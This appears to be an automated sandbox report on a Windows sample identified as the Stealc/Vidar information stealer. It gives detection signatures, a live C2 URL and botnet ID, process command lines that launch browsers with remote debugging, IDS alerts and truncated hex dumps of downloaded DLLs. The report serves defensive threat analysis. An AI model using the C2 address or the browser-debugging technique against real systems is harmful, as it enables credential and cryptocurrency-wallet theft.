Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1545086
MD5:	b0f2e98c3fea556c75a29c5325160f58
SHA1:	859b2ae0eebc20ec4af6ce55646e38a919289622
SHA256:	2318713a51559dfd0af2ff68b596f7121e76659764a5df406d5950e0e755cf54
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Maps a DLL or memory area into another process

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6308 cmdline: "C:\Users\user\Desktop\file.exe" MD5: B0F2E98C3FEA556C75A29C5325160F58)

chrome.exe (PID: 3088 cmdline: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6120 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2328,i,13610718325922863357,13994508100536033247,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 7708 cmdline: "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7960 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2840 --field-trial-handle=2604,i,16310004041728458876,8717839349625017858,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7944 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 5868 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2112 --field-trial-handle=1984,i,10115348211612690469,17519687364744320367,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8468 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7192 --field-trial-handle=1984,i,10115348211612690469,17519687364744320367,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8476 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7344 --field-trial-handle=1984,i,10115348211612690469,17519687364744320367,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 8596 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6084 --field-trial-handle=1984,i,10115348211612690469,17519687364744320367,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 8612 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6084 --field-trial-handle=1984,i,10115348211612690469,17519687364744320367,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

msedge.exe (PID: 8492 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7388 --field-trial-handle=1984,i,10115348211612690469,17519687364744320367,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: Vidar

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2634590960.0000000000571000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2184656532.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2636219235.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2636219235.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2636219235.0000000001354000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6308	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6308	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6308	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6308	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.570000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 6308, ParentProcessName: file.exe, ProcessCommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 3088, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T04:34:12.484114+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49710	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T04:34:12.476303+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49710	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T04:34:12.765897+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49710	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T04:34:13.932422+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49710	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T04:34:12.829587+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49710	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T04:34:12.184914+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49710	185.215.113.206	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T04:34:14.521229+0100	2803304	3	Unknown Traffic	192.168.2.6	49710	185.215.113.206	80	TCP
2024-10-30T04:34:38.934285+0100	2803304	3	Unknown Traffic	192.168.2.6	50987	185.215.113.206	80	TCP
2024-10-30T04:34:42.477469+0100	2803304	3	Unknown Traffic	192.168.2.6	50987	185.215.113.206	80	TCP
2024-10-30T04:34:44.518828+0100	2803304	3	Unknown Traffic	192.168.2.6	50987	185.215.113.206	80	TCP
2024-10-30T04:34:45.595654+0100	2803304	3	Unknown Traffic	192.168.2.6	50987	185.215.113.206	80	TCP
2024-10-30T04:34:47.714924+0100	2803304	3	Unknown Traffic	192.168.2.6	50987	185.215.113.206	80	TCP
2024-10-30T04:34:48.193072+0100	2803304	3	Unknown Traffic	192.168.2.6	50987	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 0.2.file.exe.570000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 0.2.file.exe.570000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA36C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6CA36C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.6:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50934 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:51105 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.6:51203 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:51204 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:51209 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:51212 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2660438360.000000006CC5F000.00000002.00000001.01000000.00000012.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2634590960.000000000059C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2660696854.000000006D421000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.2184656532.000000000501B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2634590960.000000000059C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2660696854.000000006D421000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.2184656532.000000000501B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2660438360.000000006CC5F000.00000002.00000001.01000000.00000012.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 32MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49710 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49710 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49710
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49710 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49710
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49710 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php

Source: global traffic

TCP traffic: 192.168.2.6:50915 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 03:34:14 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 03:34:38 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
